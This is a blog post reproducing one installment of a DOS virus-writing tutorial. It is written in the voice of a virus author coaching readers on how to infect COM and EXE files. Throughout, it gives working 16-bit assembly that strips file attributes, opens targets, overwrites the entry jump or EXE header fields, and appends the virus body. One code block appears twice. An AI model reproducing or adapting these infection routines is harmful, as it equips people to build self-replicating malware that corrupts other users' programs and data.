Infect The File

Owhh Mighty GOD!!

For how long did'nt I update this POST!!? LOL!!!

I'll continue for the part of infecting the file with the virus...

For the virus, this is the "guts" of the virus, the heart of the replicator. Once you
have located a potential file, you must save the attributes, time, date,
and size for later use. The following is a breakdown of the DTA:

Offset Size What it is
0h 21 BYTES Reserved, varies as per DOS version
15h BYTE File attribute
16h WORD File time
18h WORD File date
1Ah DWORD File size
1Eh 13 BYTES ASCIIZ filename + extension

As you can see, the DTA holds all the vital information about the file that
you need. The following code fragment is a sample of how to save the info:

lea si, [bp+offset DTA+15h] ; Start from attributes
mov cx, 9 ; Finish with size
lea di, [bp+offset f_attr] ; Move into your locations
rep movsb
; Variables needed
f_attr db ?
f_time dw ?
f_date dw ?
f_size dd ?

You can now change the file attributes to nothing through INT 21h/Function
43h/Subfunction 01h. This is to allow infection of system, hidden, and
read only files. Only primitive (or minimal) virii cannot handle such
files.

lea dx, [bp+offset DTA+1eh] ; DX points to filename in
mov ax, 4301h ; DTA
xor cx, cx ; Clear file attributes
int 21h ; Issue the call

Once the attributes have been annihilated, you may open the file with
callous impunity. Use a handle open in read/write mode.

lea dx, [bp+offset DTA+1eh] ; Use filename in DTA
mov ax, 3d02h ; Open read/write mode
int 21h ; duh.
xchg ax, bx ; Handle is more useful in
; BX

Now we come to the part you've all been waiting for: the infection routine.
I am pleased to present code which will handle the infection of COM files.
Yawn, you say, I can already do that with the information presented in the
previous installment. Ah, but there is more, much more. A sample EXE
infector shall also be presented shortly.

The theory behind COM file infection was covered in the last installment,
so I shall not delve into the details again. Here is a sample infector:

; Sample COM infector. Assumes BX holds the file handle
; Assume COM file passes infection criteria and not already infected
mov ah, 3fh
lea dx, [bp+buffer1]
mov cx, 3
int 21h

mov ax, 4200h ; Move file pointer to
xor cx, cx ; the beginning of the
xor dx, dx ; file
int 21h

mov byte ptr [bp+buffer2], 0e9h ; JMP
mov ax, word ptr [bp+f_size]
sub ax, part1_size ; Usually 3
mov word ptr [bp+buffer2+1], ax ; offset of JMP

; Encode JMP instruction to replace beginning of the file
mov byte ptr [bp+buffer2], 0e9h ; JMP
mov ax, word ptr [bp+f_size]
sub ax, part1_size ; Usually 3
mov word ptr [bp+buffer2+1], ax ; offset of JMP

; Write the JMP instruction to the beginning of the file
mov ah, 40h ; Write CX bytes to
mov cx, 3 ; handle in BX from
lea dx, [bp+buffer2] ; buffer -> DS:[DX]
int 21h

mov ax, 4202h ; Move file pointer to
xor cx, cx ; end of file
xor dx, dx
int 21h

mov ah, 40h ; Write CX bytes
mov cx, endofvirus - startofpart2 ; Effective size of virus
lea dx, [bp+startofpart2] ; Begin write at start
int 21h

; Variables
buffer1 db 3 dup (?) ; Saved bytes from the
; infected file to restore
; later
buffer2 db 3 dup (?) ; Temp buffer

After some examination, this code will prove to be easy to understand. It
starts by reading the first three bytes into a buffer. Note that you could
have done this in an earlier step, such as when you are checking for a
previous infection. If you have already done this, you obviously don't
need to do it again. This buffer must be stored in the virus so it can be
restored later when the code is executed.

EXE infections are also simple, although a bit harder to understand.
First, the thoery. Here is the format of the EXE header:

Ofs Name Size Comments
00 Signature 2 bytes always 4Dh 5Ah (MZ)
*02 Last Page Size 1 word number of bytes in last page
*04 File Pages 1 word number of 512 byte pages
06 Reloc Items 1 word number of entries in table
08 Header Paras 1 word size of header in 16 byte paras
0A MinAlloc 1 word minimum memory required in paras
0C MaxAlloc 1 word maximum memory wanted in paras
*0E PreReloc SS 1 word offset in paras to stack segment
*10 Initial SP 1 word starting SP value
12 Negative checksum 1 word currently ignored
*14 Pre Reloc IP 1 word execution start address
*16 Pre Reloc CS 1 word preadjusted start segment
18 Reloc table offset 1 word is offset from start of file)
1A Overlay number 1 word ignored if not overlay
1C Reserved/unused 2 words
* denotes bytes which should be changed by the virus

To understand this, you must first realise that EXE files are structured
into segments. These segments may begin and end anywhere. All you have to
do to infect an EXE file is tack on your code to the end. It will then be
in its own segment. Now all you have to do is make the virus code execute
before the program code. Unlike COM infections, no program code is
overwritten, although the header is modified. Note the virus can still
have the V1/V2 structure, but only V2 needs to be concatenated to the end
of the infected EXE file.

Offset 4 (File Pages) holds the size of the file divided by 512, rounded
up. Offset 2 holds the size of the file modulo 512. Offset 0Eh holds the
paragraph displacement (relative to the end of the header) of the initial
stack segment and Offset 10h holds the displacement (relative to the start
of the stack segment) of the initial stack pointer. Offset 16h holds the
paragraph displacement of the entry point relative to the end of the header
and offset 14h holds the displacement entry point relative to the start of
the entry segment. Offset 14h and 16h are the key to adding the startup
code (the virus) to the file.

Before you infect the file, you should save the CS:IP and SS:SP found in
the EXE header, as you need to restore them upon execution. Note that
SS:SP is NOT stored in Intel reverse-double-word format. If you don't know
what I'm talking about, don't worry; it's only for very picky people. You
should also save the file length as you will need to use that value several
times during the infection routine. Now it's time to calculate some
offsets! To find the new CS:IP and SS:SP, use the following code. It
assumes the file size is loaded in DX:AX.

mov bx, word ptr [bp+ExeHead+8] ; Header size in paragraphs
; ^---make sure you don't destroy the file handle
mov cl, 4 ; Multiply by 16. Won't
shl bx, cl ; work with headers > 4096
; bytes. Oh well!
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
; Now DX:AX is loaded with file size minus header size
mov cx, 10h ; DX:AX/CX = AX Remainder DX
div cx

This code is rather inefficient. It would probably be easier to divide by
16 first and then perform a straight subtraction from AX, but this happens
to be the code I chose. Such is life. However, this code does have some
advantages over the more efficient one. With this, you are certain that
the IP (in DX) will be under 15. This allows the stack to be in the same
segment as the entry point, as long as the stack pointer is a large number.

Now AX*16+DX points to the end of code. If the virus begins immediately
after the end of the code, AX and DX can be used as the initial CS and IP,
respectively. However, if the virus has some junk (code or data) before
the entry point, add the entry point displacement to DX (no ADC with AX is
necessary since DX will always be small).

mov word ptr [bp+ExeHead+14h], dx ; IP Offset
mov word ptr [bp+ExeHead+16h], ax ; CS Displacement in module

The SP and SS can now be calculated. The SS is equal to the CS. The
actual value of the SP is irrelevant, as long as it is large enough so the
stack will not overwrite code (remember: the stack grows downwards). As a
general rule, make sure the SP is at least 100 bytes larger than the virus
size. This should be sufficient to avoid problems.

mov word ptr [bp+ExeHead+0Eh], ax ; Paragraph disp. SS
mov word ptr [bp+ExeHead+10h], 0A000h ; Starting SP

All that is left to fiddle in the header is the file size. Restore the
original file size from wherever you saved it to DX:AX. To calculate
DX:AX/512 and DX:AX MOD 512, use the following code:

mov cl, 9 ; Use shifts again for
ror dx, cl ; division
push ax ; Need to use AX again
shr ax, cl
adc dx, ax ; pages in dx
pop ax
and ah, 1 ; mod 512 in ax

mov word ptr [bp+ExeHead+4], dx ; Fix-up the file size in
mov word ptr [bp+ExeHead+2], ax ; the EXE header.

All that is left is writing back the EXE header and concatenating the virus
to the end of the file. You want code? You get code.

mov ah, 3fh ; BX holds handle
mov cx, 18h ; Don't need entire header
lea dx, [bp+ExeHead]
int 21h

call infectexe

mov ax, 4200h ; Rewind to beginning of
xor cx, cx ; file
xor dx, dx
int 21h

mov ah, 40h ; Write header back
mov cx, 18h
lea dx, [bp+ExeHead]
int 21h

mov ax, 4202h ; Go to end of file
xor cx, cx
xor dx, dx
int 21h

mov ah, 40h ; Note: Only need to write
mov cx, part2size ; part 2 of the virus
lea dx, [bp+offset part2start] ; (Parts of virus
int 21h ; defined in first
; installment of
; the guide)

Note that this code alone is not sufficient to write a COM or EXE infector.
Code is also needed to transfer control back to the parent program. The
information needed to do this shall be presented in the next installment.
In the meantime, you can try to figure it out on your own; just remember
that you must restore all that you changed.